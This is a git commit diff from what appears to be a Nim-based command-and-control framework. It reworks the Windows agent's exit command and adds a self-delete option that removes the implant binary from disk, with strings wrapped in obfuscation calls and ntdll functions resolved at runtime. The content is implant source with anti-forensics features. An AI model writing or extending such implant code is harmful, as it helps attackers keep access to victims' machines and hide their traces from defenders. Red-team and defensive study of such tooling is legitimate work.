Improved 'exit' command and implemented self-delete functionality.

This commit is contained in:
Jakob Friedl
2025-10-24 12:26:44 +02:00
parent 7326cc10b6
commit 0e9cffb1c4
5 changed files with 105 additions and 14 deletions

View File

@@ -9,8 +9,10 @@ let commands* = @[
name: protect("exit"),
commandType: CMD_EXIT,
description: protect("Exit the agent process."),
example: protect("exit"),
example: protect("exit process"),
arguments: @[
Argument(name: protect("exitType"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false),
Argument(name: protect("selfDelete"), description: protect("Attempt to delete the binary within which is the agent was running from disk. Default: false"), argumentType: BOOL, isRequired: false),
],
execute: executeExit
)
@@ -22,25 +24,26 @@ when not defined(agent):
when defined(agent):
import winim/lean
import strutils, strformat
import ../agent/utils/io
import ../agent/core/exit
import ../agent/protocol/result
import ../common/[utils, serialize]
type
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
proc executeExit(ctx: AgentCtx, task: Task): TaskResult =
try:
let
hNtdll = GetModuleHandleA(protect("ntdll"))
pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
print " [>] Exiting."
pRtlExitUserProcess(STATUS_SUCCESS)
case task.argCount:
of 0:
exit()
of 1:
let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
exit(exitType)
else:
let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
let selfDelete = cast[bool](task.args[1].data[0])
exit(exitType, selfDelete)
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))